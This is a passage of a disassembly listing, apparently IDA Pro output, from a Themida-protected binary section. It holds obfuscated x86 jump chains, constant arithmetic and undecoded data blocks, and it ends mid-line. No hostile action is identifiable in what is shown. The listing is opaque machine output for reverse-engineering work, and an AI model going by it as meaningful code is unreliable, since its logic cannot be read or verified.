68243489h, 3F1359A1h, 8324348Bh dd 0EE8104C4h, 22FD7E48h, 7DBF5751h, 0E93BAF52h, 67CCh ; --------------------------------------------------------------------------- loc_599080: ; CODE XREF: Themida_:0059A799j shl ebx, 3 sub ebx, 0C7D3EE58h add ecx, ebx pop ebx sub ecx, 0EE473542h add ebx, ecx mov ecx, [esp] add esp, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx jmp loc_5941BF ; --------------------------------------------------------------------------- dd 4C581h, 0B8500000h, 4, 5558C501h, 42474FFh, 81242C8Bh dd 4C4h, 24048F00h, 8124248Bh, 0A719F9EFh, 68CF015Bh, 4759h dd 56241C89h, 0CE2824BEh, 0FFF3897Fh, 348B2434h, 4C48324h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_597ADD ; --------------------------------------------------------------------------- loc_5990F4: ; CODE XREF: Themida_:00598D9Cj mov edi, 105E6E1Eh jmp loc_595EB1 ; --------------------------------------------------------------------------- dw 0E381h dd 785F31B7h, 93F3E9h db 0 ; --------------------------------------------------------------------------- loc_599109: ; CODE XREF: Themida_:0059E110j pop esi pop eax dec eax jmp loc_594067 ; --------------------------------------------------------------------------- loc_599111: ; CODE XREF: Themida_:00596BC3j dec ebp push ecx mov ecx, 1C32B7Dh xor ecx, 79A85493h or ecx, 24706DF5h sub ecx, 69FD30C2h neg ecx sub ecx, 49261BFFh jmp loc_59E698 ; --------------------------------------------------------------------------- loc_599137: ; CODE XREF: Themida_:00595CE7j push eax push edi sub esp, 4 mov [esp], ebp push edx jmp loc_59798E ; --------------------------------------------------------------------------- dd 0E924048Fh, 0FFFFCA2Bh dword_599150 dd 24048B66h, 3C6668h, 241C8900h, 0C3815B54h, 4, 5F1268h ; DATA XREF: Themida_:005908F8o dd 24348900h, 0FFABC1E9h, 1CEF81FFh, 0E985DC98h, 0FFFFEDD1h ; --------------------------------------------------------------------------- loc_59917C: ; CODE XREF: Themida_:0059D0F3j mov ecx, 5FB11D17h mov edx, ecx mov ecx, [esp] jmp loc_5929BF ; --------------------------------------------------------------------------- db 83h dd 1C8904ECh, 81E38924h, 4C3h, 4EB8100h, 87000000h, 895C241Ch dd 6BD242Ch, 81741D40h, 0F86DE5EDh, 70ED8135h, 89247D89h dd 0E9555DEBh, 0FFFFE3AEh, 5C24048Fh, 51242489h, 4BB53h dd 0D9890000h, 83241C8Bh, 4C0104C4h, 0B4E90424h, 5EFFFFE5h dd 0E924148Bh, 0FC4h, 33240431h, 248B2404h, 0E930FF24h dd 0FFFF78A3h, 66FFEA80h, 89B65250h, 59696853h, 0C890000h dd 0C977E924h, 248B0000h, 0C8856624h, 7881E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59921A: ; CODE XREF: Themida_:005A2E64j sub ebx, eax pop eax add ebx, eax add ebx, 1F0D4C65h jmp loc_595E89 ; --------------------------------------------------------------------------- dw 0A2B6h dd 24E9F028h, 81000050h, 9F56B8C5h, 0EA815A4Bh, 34013C1Eh dd 16A0E9h, 80A2B200h, 0D32847F2h, 3E2C5Ah, 5F2068D8h dd 0C890000h, 0F6B6B524h, 0C5B652DDh, 8003EEC0h, 0A2E9B3C6h dd 81000056h, 4C1h, 4E98300h, 0A6FAE9h db 0 ; --------------------------------------------------------------------------- loc_599279: ; CODE XREF: Themida_:00597836j pop ebp push edx mov edx, esp push eax mov eax, 4 add edx, eax pop eax jmp loc_5A038F ; --------------------------------------------------------------------------- db 87h dd 0E95C241Ch, 0FFFF8E76h ; --------------------------------------------------------------------------- loc_599294: ; CODE XREF: Themida_:0059B374j push ebx push edx mov edx, 9B549Ah inc edx and edx, 3EC77BD1h xor edx, 2B477688h mov ebx, edx pop edx jmp loc_593D6D ; --------------------------------------------------------------------------- dd 0C18DE950h, 0C581FFFFh, 0FF0ACD3h, 545FE9h, 5DE95A00h db 2, 2 dup(0) byte_5992C7 db 81h ; DATA XREF: Themida_:0059096Co dd 4ECh, 240C8900h, 4EC81h, 29E90000h db 97h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5992DB: ; CODE XREF: Themida_:0059C99Cj pop esi jmp loc_5A4603 ; --------------------------------------------------------------------------- loc_5992E1: ; CODE XREF: Themida_:005A581Fj mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop edi jmp loc_5A39F7 ; --------------------------------------------------------------------------- db 5Dh dd 0FFBE5657h, 0E947B720h, 0C52Eh, 1A6BE955h, 248B0000h dd 14896624h, 9C506624h, 0FF777EE9h db 0FFh ; --------------------------------------------------------------------------- loc_59931D: ; CODE XREF: Themida_:0059E0CCj push ebp mov ebp, 4 sub esi, 507C7120h jmp loc_59943F ; --------------------------------------------------------------------------- dw 0F668h dd 89000035h, 60E92404h, 83FFFF77h, 0C28104C4h, 34AB499Eh dd 78B85053h, 0F71FF914h, 2CF905D0h, 0D53503F2h, 89C3A72Eh dd 0EB8158C3h, 16E3CA74h, 0E95BDA01h, 0B36h, 2466CD81h dd 0DDF703B9h, 0F581D5F7h, 5E1EBD6Bh, 565DEB31h, 24048153h dd 2B0929A9h, 84F5E9h, 31C78100h, 2910405Ah, 31B951D7h dd 2910405Ah, 34FF59CFh, 54565A24h, 4C6815Eh, 81000000h dd 4C6h, 24348700h, 94D7E95Ch, 0C581FFFFh, 19E69D2h, 4C19E9h dd 0E2685B00h, 89000024h, 5052241Ch, 0DB251B0h, 0C058C200h dd 0F28002E2h, 0DFC280C5h, 0C280DAF6h, 0FFC280C4h, 5306EAC0h dd 24C9E9h, 24248B00h, 0E9E08950h, 13A6h, 289FEA81h, 0BF574801h dd 75D469AEh, 60D8F781h, 0C7814638h, 237743ECh, 4FDBF781h dd 0C7815D58h, 301633D6h, 3CF4F781h, 0FA010AC5h, 241C8B5Fh dd 81E28952h, 4C2h, 4C28100h, 87000000h, 0D3E92414h db 3Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59943F: ; CODE XREF: Themida_:00599329j add esi, ebp add esi, 507C7120h pop ebp xchg esi, [esp] pop esp or edx, eax jmp loc_59FF0D ; --------------------------------------------------------------------------- db 5 dd 1, 0FFE023E9h, 0E9FD01FFh, 5B34h ; --------------------------------------------------------------------------- loc_599464: ; CODE XREF: Themida_:005A1232j mov edx, 17DD352Fh and edx, 24785D62h xor edx, 10494E61h sub edx, 5FA06520h shr edx, 4 push ecx push eax jmp loc_59A875 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 56000000h, 19768h, 24048900h, 35CDBF57h, 12B81883h dd 125F0FCh, 0DA8AE9F8h, 8DB8FFFFh, 2D477816h, 47781689h dd 8158C501h, 4C5h, 0DCDAE900h, 0F581FFFFh, 4D803E3Bh dd 0FFC3AEE9h db 0FFh ; --------------------------------------------------------------------------- loc_5994C9: ; CODE XREF: Themida_:005929EDj mov esi, ecx pop ecx jmp loc_5A3524 ; --------------------------------------------------------------------------- db 5Ah, 56h, 0BEh dd 4, 348BF701h, 4C48124h, 0E9000000h, 4402h, 15767DBFh dd 0E9DFF70Bh, 0FFFF99CCh, 595AD788h, 8006E7C0h, 0EFC072CFh dd 0E9506606h, 0A7F1h, 8105E2C1h, 4F2h, 51E95201h, 880000A6h dd 3C72E9EBh, 0E95C0000h, 0C678h, 0E9241487h, 9B36h ; --------------------------------------------------------------------------- loc_59952C: ; CODE XREF: Themida_:0059F717j pop edx add ebx, 18781B1Eh sub ebx, edi push edi mov edi, 18781B1Eh sub ebx, edi pop edi add ebx, 9332AFFh pop edi push 82Dh mov [esp], ebp mov ebp, 480C637Ch add ebx, 6B842E6Dh add ebx, ebp sub ebx, 6B842E6Dh pop ebp jmp loc_59FD11 ; --------------------------------------------------------------------------- loc_599566: ; CODE XREF: Themida_:00597705j add eax, 4 push edi mov edi, 4 add eax, edi pop edi xchg eax, [esp] pop esp and eax, edx jmp loc_5A25C5 ; --------------------------------------------------------------------------- db 29h dd 34875FFEh, 34895C24h, 4695BE24h, 43686B0Bh, 89000001h dd 0BD552414h, 0EE8C1A9Ch, 15DEA89h, 0F1895AD6h, 5E2434FFh dd 504C483h, 4A4233DDh, 6C4AE9h, 242C8B00h, 4C481h, 0FE010000h dd 36B3EE81h, 95F4866h, 0E95E1C77h, 8877h, 55EF001h, 2 dd 158AE950h, 4310000h, 732EE924h, 815D0000h, 4C4h, 8AB85000h dd 29275729h, 0E9082444h, 0FABh, 8904EC83h, 4B3241Ch, 50BDF380h dd 93F5E9h, 0EFC15C00h, 0EBE94707h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_599617: ; CODE XREF: Themida_:005947C5j push edi dec dword ptr [esp] pop edi jmp loc_5A352B ; --------------------------------------------------------------------------- db 29h, 0FDh, 5Fh dd 6A53EA81h, 0EA016C1Ah, 0F15FE951h, 0F2B1FFFFh, 0FFCF42E9h db 0FFh ; --------------------------------------------------------------------------- loc_599639: ; CODE XREF: Themida_:005A2571j add ebx, 557275EEh pop esi xchg ebx, [esp] pop esp push 68F2h mov [esp], edi jmp loc_5A2ECF ; --------------------------------------------------------------------------- db 81h, 0C7h, 0DDh dd 0E968B414h, 0FFFFE280h ; --------------------------------------------------------------------------- loc_59965C: ; CODE XREF: Themida_:005A2799j push edx push 1F3432F8h pop edx push ebx mov ebx, 5A6F408Bh add esi, ebx jmp loc_59D24E ; --------------------------------------------------------------------------- a313LHR db '3<$1<$3<$‹$$hÌR',0 dd 240C8900h, 4BB05052h, 0FFBEC5E9h, 4C481FFh, 81000000h dd 54469FC5h, 67BE5604h, 8172140Fh, 0F52394C6h, 864AE9D6h dd 8358FFFFh, 3C8904ECh, 8EF1E924h db 2 dup(0) word_5996B6 dw 8B66h ; DATA XREF: Themida_:005907D4o dd 54532404h, 0FFACF9E9h, 241489FFh, 9C5CE7BAh, 8BD62900h dd 69E92414h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5996D3: ; CODE XREF: Themida_:0059EE60j xchg eax, [esp] pop esp xor [esp], edx jmp loc_59A692 ; --------------------------------------------------------------------------- db 81h dd 7B5133F1h, 0E9C8012Eh, 87A7h ; --------------------------------------------------------------------------- loc_5996EC: ; CODE XREF: Themida_:00599D35j mov [esp], edx jmp loc_591A13 ; --------------------------------------------------------------------------- loc_5996F4: ; CODE XREF: Themida_:005932F9j mov esi, 954043Eh sub esp, 4 mov [esp], ebp mov ebp, 56E842ACh and esi, ebp pop ebp shr esi, 1 shr esi, 2 jmp loc_595A89 ; --------------------------------------------------------------------------- dd 0E92434FFh, 27C4h ; --------------------------------------------------------------------------- loc_59971C: ; CODE XREF: Themida_:005A2601j add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp add esp, 4 pop dword ptr [esp] pop esp jmp loc_5A46EC ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 174CE9h, 814B4300h dd 0C652DEF3h, 0A4CFE92Fh, 0F759FFFFh, 0EAE781D7h, 811BA43Fh dd 90643FEFh, 0E0F78161h, 19F6F9Bh, 243C8BF9h, 81E18951h dd 4C1h, 4C18300h, 65D6E9h, 81D6F700h, 63149EF6h, 53CCE961h db 2 dup(0) ; --------------------------------------------------------------------------- loc_599792: ; CODE XREF: Themida_:0059FC91j xchg edi, [esp] jmp loc_599E0A ; --------------------------------------------------------------------------- dw 0B850h dd 6C2A0221h, 5840E950h, 0C6800000h, 5AF500A5h, 0FFEE32E9h dd 0EB8853FFh, 0ADE9DA88h db 80h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5997BB: ; CODE XREF: Themida_:0059E812j sub eax, 53707668h sub eax, edi push ebp mov ebp, 53707668h add eax, ebp pop ebp mov edi, [esp] add esp, 4 push ebp push esi jmp loc_5A2F68 ; --------------------------------------------------------------------------- loc_5997DB: ; CODE XREF: Themida_:00595109j pop ebp push small word ptr [eax] jmp loc_590A9B ; --------------------------------------------------------------------------- dword_5997E4 dd 207F83ADh, 63840F00h, 50000086h, 1A4DB7B8h, 0DA6E050Ch ; DATA XREF: Themida_:005909CCo dd 0C6011A78h, 7B46E958h, 9B680000h, 8900007Ch, 72E9242Ch dd 66000025h, 66273335h, 66AD472Dh, 48BC529h, 4C48324h dd 18C58166h, 0EF31663Fh, 29665D66h, 68665FF8h, 0F3E96473h dd 81FFFFDDh, 4C4h, 7259E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_599842: ; CODE XREF: Themida_:005943A3j push eax mov eax, 4 jmp loc_59CBE0 ; --------------------------------------------------------------------------- loc_59984D: ; CODE XREF: Themida_:0059C0BDj push ebp mov ebp, 10CA03B6h mov ebx, ebp mov ebp, [esp] add esp, 4 sub ebx, 6F836E81h not ebx jmp loc_59C151 ; --------------------------------------------------------------------------- db 5Dh dd 4EC81h, 64E90000h, 5F000095h, 1A4EE9h db 0 ; --------------------------------------------------------------------------- loc_59987D: ; CODE XREF: Themida_:00591120j inc eax jmp loc_59868C ; --------------------------------------------------------------------------- loc_599883: ; CODE XREF: Themida_:005A479Dj mov [esp], edx sub esp, 4 jmp loc_59D0F0 ; --------------------------------------------------------------------------- dw 15Dh dd 8B042454h, 0C4812414h, 4, 0FF71FAE9h, 0E4CF81FFh, 81686709h dd 0C17F93CFh, 52EFD12Dh, 2B2F59BAh, 0E9D729E3h, 8DBAh ; --------------------------------------------------------------------------- loc_5998BC: ; CODE XREF: Themida_:0059DBDFj xchg esi, edi jmp loc_59C9D8 ; --------------------------------------------------------------------------- db 81h dd 0B444E8EFh, 88EF8128h, 5A5A630Fh, 0E904EC83h, 7BC1h dd 68242C89h, 4, 41BB535Dh, 0E9046F77h, 2A5Dh, 1FE8F681h dd 0F2295E17h, 8124348Bh, 4C4h, 81C20100h, 613F2DC2h, 7C86822h dd 2C890000h, 0AEBB5324h, 5024BA4Dh, 0B3269DB8h, 4520E944h dd 3C890000h, 1BF7BF24h, 0C78138D4h, 0C72BE40Bh, 0BBA8E9h dd 0BA525D00h, 2F9146C6h, 5004E2C1h, 0A216E9h, 8BF80100h dd 0C481243Ch, 4, 0E9240433h, 0FFFFFC8Ah, 4308F781h, 55E92652h db 3Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_59995F: ; CODE XREF: Themida_:0059BF67j sub edx, 4 xchg edx, [esp] pop esp mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_59D014 ; --------------------------------------------------------------------------- loc_59997D: ; CODE XREF: Themida_:0059CED9j xor edx, eax pop eax sub edx, 1 not edx jmp loc_59B727 ; --------------------------------------------------------------------------- db 50h, 0B8h, 67h dd 0D76EE1Fh, 3C5D4A59h, 0B471F25h, 0E9D8F73Eh, 0FFFFB1FCh dd 4C50BB53h, 0D8315604h, 3112E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5999B2: ; CODE XREF: Themida_:005A0B1Ej pop dword ptr [esp] pop esp jmp loc_5955FA ; --------------------------------------------------------------------------- db 83h dd 0FF5504C4h, 5D042474h, 8B24048Fh, 29662424h, 0E99C2404h dd 0FFFF70C7h ; --------------------------------------------------------------------------- loc_5999D4: ; CODE XREF: Themida_:005A2E43j push 75EBh mov [esp], edx mov edx, 4 jmp loc_591B9E ; --------------------------------------------------------------------------- dw 0BB53h dd 758F2FCEh, 535BDD21h, 6454CBBBh, 5BDD2926h, 0D2DEF581h dd 95E9C44Ch, 0BAFFFFDFh, 25813EB2h, 0FFA19CE9h db 0FFh ; --------------------------------------------------------------------------- loc_599A0D: ; CODE XREF: Themida_:00590DFFj neg ebp not ebp inc ebp add ebp, 229B1ABDh and ebp, 0AE03E73h add ebp, 0FFFFFFFFh xor ebp, 438B52D5h xor ebp, 32771CBDh inc ebp sub ebp, 791C7E17h add ebx, ebp jmp loc_5A1E10 ; --------------------------------------------------------------------------- loc_599A3B: ; CODE XREF: Themida_:00596BF5j pop ecx pop dword ptr [esp] mov esp, [esp] mov [esp], ebx push dword ptr [esp] mov eax, [esp] add esp, 4 push esi push esp pop esi add esi, 4 add esi, 4 jmp loc_5A428D ; --------------------------------------------------------------------------- loc_599A5F: ; CODE XREF: Themida_:00598622j push edx mov edx, esp add edx, 4 jmp loc_591D35 ; --------------------------------------------------------------------------- db 54h, 0E9h, 30h db 9Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_599A73: ; CODE XREF: Themida_:0059C09Ej add esi, 17FD48EEh jmp loc_59B9ED ; --------------------------------------------------------------------------- dw 0EF89h dd 83DFF75Dh, 42E9FFC7h, 8700001Eh, 0E95C2404h, 0FFFFCCEAh dd 8B243487h, 0B3E92424h, 5E00008Ah, 4EC81h, 0C890000h dd 0C6895624h, 62E9F189h db 84h, 2 dup(0) ; --------------------------------------------------------------------------- loc_599AB3: ; CODE XREF: Themida_:00598B6Aj xor edi, 193373D5h xor edx, edi pop edi sub edx, 60393FA1h and edx, 612E0A6Bh push esi mov esi, 547C6A84h jmp loc_59B84C ; --------------------------------------------------------------------------- db 0FFh dd 68582434h, 37F5h, 3286E9h db 0 aNwU6S db 'W¿u6Ü|é,*',0 ; DATA XREF: Themida_:005909A8o db 0 ; --------------------------------------------------------------------------- loc_599AED: ; CODE XREF: Themida_:0059BD26j add ebp, 4 jmp loc_5917A9 ; --------------------------------------------------------------------------- db 5Bh, 57h, 0BFh dd 4, 5AE9FB01h db 0B4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_599B03: ; CODE XREF: Themida_:005A45FEj add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edi jmp loc_592D97 ; --------------------------------------------------------------------------- loc_599B1B: ; CODE XREF: Themida_:005A20B4j mov ebx, 79E2005Dh push esi mov esi, 7FBD30BCh xor esi, 720A79CEh jmp loc_5952FF ; --------------------------------------------------------------------------- db 50h, 5Dh, 8Bh dd 0C4812404h, 4, 0FF93A5E9h, 0D5F75DFFh, 0FFCD54E9h, 4C383FFh dd 31241C33h, 1C33241Ch, 24248B24h, 0FF6F3EE9h db 0FFh ; --------------------------------------------------------------------------- loc_599B5D: ; CODE XREF: Themida_:0059A42Cj pop ebp jmp loc_59D25A ; --------------------------------------------------------------------------- db 88h dd 873488EEh, 2434FF5Ah, 6D3CE9h, 24E95B00h, 89000036h dd 0BE662434h, 4E97428h, 8B000016h, 54532414h, 4C3815Bh dd 83000000h, 1C3304C3h, 241C3124h, 8B241C33h, 4012424h dd 4EC8124h, 89000000h, 42E9240Ch, 0B800007Ah, 6DC24538h dd 4EC81h, 3C890000h, 3A08BF24h, 0EF8168F4h, 67A27881h dd 0FFFD87E9h, 5FFA29FFh, 148BD501h, 0FDE1E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_599BDA: ; CODE XREF: Themida_:00592E17j push 36EBh mov [esp], ecx mov ecx, 2000000h push ebx jmp loc_595BD0 ; --------------------------------------------------------------------------- loc_599BED: ; CODE XREF: Themida_:005A35A6j pop ebp push esi mov esi, esp jmp loc_5A0A4A ; --------------------------------------------------------------------------- loc_599BF6: ; CODE XREF: Themida_:0059A119j mov ecx, 4 push ecx mov ecx, 29DF605Ah jmp loc_594543 ; --------------------------------------------------------------------------- dw 0E951h dd 0FFFF96FCh, 0C181D1F7h, 0D0E14411h, 0E959C801h, 623Ah dd 83243C8Bh, 0BE5604C4h, 49006570h, 779DEE81h, 0EBE93F19h dd 89000004h, 0CEE92434h, 0BEFFFFABh, 5ACB21E0h, 3FC6814Eh dd 290DC8F1h, 0F2015EF2h, 131EC281h, 815E6894h, 4ECh, 24048900h dd 0B332E954h, 0CA810000h, 7C877FCBh, 4956C281h, 0EAD15646h dd 1B1EF281h, 17E9B4F2h, 6800004Fh, 4A8Bh, 0FF240C89h dd 59042474h, 0FFDC8CE9h, 0F9B652FFh, 96D8E950h, 0E9580000h dd 0AE17h, 0E9242489h, 7ECh, 3552E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_599CAA: ; CODE XREF: Themida_:0059FF69j pop esp xor [edx+30h], esi push dword ptr [esp] pop esi add esp, 4 add dword ptr [edx+30h], 0FFFFFFFFh inc dword ptr [edx+30h] sub dword ptr [edx+30h], 29D40348h popa popf retn ; --------------------------------------------------------------------------- dd 0FF6DCAE9h, 4C283FFh, 0E9241487h, 84F7h dword_599CDC dd 243C3166h, 243C3366h, 243C3166h, 66CF3166h, 3166F931h ; DATA XREF: Themida_:0059094Co dd 2EC83CFh, 240C8966h, 59665666h, 24348B66h, 81E38953h dd 4C3h, 2C38100h, 53000000h, 0FF9A59E9h db 0FFh ; --------------------------------------------------------------------------- loc_599D15: ; CODE XREF: Themida_:005924EBj neg ebp dec ebp xor ebp, 0FD53D528h add ecx, ebp mov ebp, [esp] add esp, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_5996EC ; --------------------------------------------------------------------------- loc_599D3A: ; CODE XREF: Themida_:0059CD8Cj add edx, eax pop eax jmp loc_59D41B ; --------------------------------------------------------------------------- aFq db 'fQ±ê',0 db 0CBh dd 240C8B66h, 6602C483h, 0BF7E959h, 0E95A0000h, 170Eh dword_599D5C dd 24048B66h, 6A1868h, 0B06BE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_599D6A: ; CODE XREF: Themida_:0059F877j mov [esp], ebx push dword ptr [esp] pop eax push ebx mov ebx, esp push ebp jmp loc_590DFA ; --------------------------------------------------------------------------- dw 1C89h dd 0EC835124h, 241C8904h, 0FD88D788h, 83241C8Bh, 0EB8804C4h dd 12706859h, 0C890000h, 68DD8824h, 2D05h, 0E9241489h dd 0FFFFFDBBh, 8324348Bh, 0FF5104C4h, 59042474h, 5C24048Fh dd 9C240CFEh, 0FF6CDAE9h, 4C483FFh, 4EC81h, 34890000h dd 81E68924h, 4C6h, 212FE900h, 0E9500000h, 0FFFF790Ah dd 4EC835Bh, 54243C89h, 4BD555Fh, 1000000h, 0C7835DEFh dd 243C3304h, 33243C31h, 835C243Ch, 48904ECh, 2597E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_599E0A: ; CODE XREF: Themida_:00599795j pop esp jmp loc_59F538 ; --------------------------------------------------------------------------- dd 0BF243C89h, 2E13316Eh, 0FFA6E6E9h, 0E9D6F7FFh, 0FFFFCC6Ch dd 44D2E954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_599E2A: ; CODE XREF: Themida_:005A0C6Aj add esi, edi jmp loc_59F9CD ; --------------------------------------------------------------------------- db 2Ch, 12h, 53h dd 0F80043B7h, 280A045Bh, 520A2CD0h, 7BE9ACB2h, 81000043h dd 4C2h, 4C28100h, 87000000h, 335C2414h, 14312414h, 3B7E924h dd 0FF570000h, 5F042474h, 8B24048Fh, 8B662424h, 68240Ch dd 8900000Eh, 0E389241Ch, 4C381h, 63680000h, 0E900000Fh dd 6A99h ; --------------------------------------------------------------------------- loc_599E8C: ; CODE XREF: Themida_:0059D39Ej push 2E8Ch jmp loc_59380C ; --------------------------------------------------------------------------- dw 3C31h dd 8D17E924h, 0BD55FFFFh, 30B5A1Bh, 3B01E9h, 0F6DAF600h dd 0DAC280D2h, 885AD000h, 97B8E9C5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_599EBA: ; CODE XREF: Themida_:00596E10j add dword ptr [esp], 4 jmp loc_59DC04 ; --------------------------------------------------------------------------- dw 0F181h dd 0FFFF0D7Dh, 0FFA517E9h, 0C30059FFh, 0E902EC83h, 0FFFFBC2Ch dd 0C281E289h, 4, 0E904C283h, 3C91h, 4EC81h, 2C890000h dd 6B4A6824h, 24890000h, 7E96E924h, 332DFFFFh, 177D863h dd 633305D8h, 456877D8h, 89000053h, 0ADBE2434h, 0E92AE14Ch dd 3F53h, 24048F58h, 0FFF2E5E9h, 0FE095CFFh, 4BC6815Fh dd 0E9960682h, 0FFFFC2B8h, 4EC81h, 2C890000h, 0C9F4E924h dd 0EC81FFFFh, 4, 89242C89h, 4C581E5h, 0E9000000h, 3635h ; --------------------------------------------------------------------------- loc_599F5C: ; CODE XREF: Themida_:005A1902j pop ecx push edi jmp loc_5A4287 ; --------------------------------------------------------------------------- db 1 dd 242C8BEEh, 0E904C483h, 0AAC5h ; --------------------------------------------------------------------------- loc_599F70: ; CODE XREF: Themida_:0059452Fj xor eax, ecx push 88Dh mov [esp], eax xchg edx, [esp] xor edx, esi xor esi, edx xor edx, esi push esi push ebx jmp loc_5A10B7 ; --------------------------------------------------------------------------- dw 0C101h dd 4E98158h, 87000000h, 0E95C240Ch, 0FFFFDAECh, 5954515Ch dd 4C181h, 0C1810000h, 4, 0E9240C87h, 2FD2h, 0DA88C6B3h dd 0FFB42EE9h, 8DC381FFh, 21E1C759h, 0F7505BD8h, 0F7582414h dd 9BB951D8h, 0E972151Ch, 0FFFFAC59h ; --------------------------------------------------------------------------- loc_599FD8: ; CODE XREF: Themida_:0059123Aj mov esp, [esp] add ebx, 35775748h push esi mov esi, 7E762E00h shl esi, 2 shr esi, 2 sub esi, 7BF67205h inc esi add esi, 748A4B6Ch sub ebx, esi pop esi add ebx, 63BE7B53h sub ebx, eax sub ebx, 63BE7B53h add ebx, 370A0768h sub ebx, 35775748h push 368Bh jmp loc_5A50F1 ; --------------------------------------------------------------------------- db 29h, 0F7h, 0E9h dd 0FFFFE63Fh, 4EC81h, 4890000h, 88C88824h, 0F48858C6h dd 4BE9595Ah, 80FFFFC2h, 4BE901C1h, 5E0000A6h, 6F9E9h db 0 ; --------------------------------------------------------------------------- loc_59A04D: ; CODE XREF: Themida_:0059175Bj pop ecx add eax, edx pop edx sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], ebp mov ebp, 682959D1h or ebp, 396801E5h shl ebp, 3 jmp loc_5A1A82 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0F7243C89h, 575F2414h, 42474FFh, 24048F5Fh, 5E2434FFh dd 4C481h, 0BF570000h, 42A65C68h, 36B3BD55h, 0EE014866h dd 0FFF510E9h, 986855FFh, 89000040h, 37B82404h, 0D7B126Eh dd 325475EDh, 0FFB8EDE9h, 0DFCE80FFh, 3060F680h, 2434FFF0h dd 491B685Ah, 34890000h, 81E68924h, 4C6h, 0B8A5E900h, 814AFFFFh dd 0F97F89C2h, 11E95741h db 0ADh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59A0EB: ; CODE XREF: Themida_:0059EAE4j xor ebx, ecx pop ecx push ebx mov ebx, 6BBA4DC3h neg ebx xor ebx, 0AB05DB10h sub esi, ebx pop ebx add esi, ebx add esi, 3F40692Dh pop ebx push ebx mov ebx, esp jmp loc_5A5A79 ; --------------------------------------------------------------------------- dd 0DB42E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59A116: ; CODE XREF: Themida_:005A5A89j mov [esp], ecx jmp loc_599BF6 ; --------------------------------------------------------------------------- dw 0B951h dd 4E720295h, 7441F181h, 6E90F77h, 0BB000076h, 269F79E4h dd 2EE2EB81h, 0C381128Eh, 3373F118h, 15BD989h, 0D4AAE9CEh dd 0C280FFFFh, 0AEA804Eh, 665AD000h, 664A2068h, 0E9240C89h dd 1BFh, 93DAE95Eh, 0EA810000h, 28C834CEh, 4EC81h, 1C890000h dd 0A372E924h, 0F581FFFFh, 28037887h, 7E9EA89h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59A187: ; CODE XREF: Themida_:00594DABj mov [esp], esi push esp pop esi add esi, 4 push ebx mov ebx, 4 jmp loc_59E237 ; --------------------------------------------------------------------------- aZsp6 db 'Zép6',0 db 0 byte_59A1A3 db 66h ; DATA XREF: Themida_:005909A0o dd 0E924048Bh, 8E3Dh, 0E9E28952h, 0FFFF8DBEh, 0D1F7D1F7h dd 0C181D9F7h, 5396747Eh, 9CEDE9h, 0FFF83100h, 71E92434h db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59A1CF: ; CODE XREF: Themida_:00596549j pop esp jmp loc_5A4490 ; --------------------------------------------------------------------------- aFysu4 db 'fYéã4',0 align 4 dd 5704EF83h, 42474FFh, 24048F5Fh, 2404895Ch, 81E18951h dd 4C1h, 4E98100h, 87000000h, 21E9240Ch, 8100009Eh, 4C4h dd 52505000h, 69E9E289h, 5F00004Ah, 0FFD6EDE9h, 241433FFh dd 324EE9h, 81585F00h, 96217AEDh, 0C4ED813Eh, 2954D019h dd 0C4C581F5h, 5254D019h, 96217ABAh, 5AD5013Eh, 8124348Bh dd 4C4h, 0E0C78100h, 12B214Fh, 0E0EF81EFh, 5D2B214Fh, 0FF96FAE9h dd 0EC8155FFh, 4, 55242489h, 4BDh, 246C8100h, 0FB408604h dd 246C014Dh, 24448104h, 0FB408604h, 815D5D4Dh, 4C5h, 4BE5600h dd 0E9000000h, 0FFFFC8B6h ; --------------------------------------------------------------------------- loc_59A294: ; CODE XREF: Themida_:005A2871j push esp pop edx jmp loc_597B1B ; --------------------------------------------------------------------------- db 1 dd 68055DE8h, 1719F0Ah, 0A682DD8h, 0EC81719Fh, 4, 57241C89h dd 0DB1A1CBFh, 0FFBD5565h, 899FEA7Ah, 242C8BEBh, 8104C483h dd 0B117FBEBh, 81FB2918h, 0B117FBC3h, 9EE95F18h db 79h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59A2DB: ; CODE XREF: Themida_:0059A948j pop ecx add ecx, 3BFA298Ah xor ecx, 5C617006h jmp loc_597428 ; --------------------------------------------------------------------------- db 35h, 14h, 0C3h aE1S db '%e1Çéº&',0 dd 0D3F75A00h, 74EFE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59A302: ; CODE XREF: Themida_:0059A841j pop dword ptr [esp] push edx mov edx, 4 add [esp+4], edx push dword ptr [esp] pop edx add esp, 4 push dword ptr [esp] pop ebx jmp loc_598DC3 ; --------------------------------------------------------------------------- db 0B5h dd 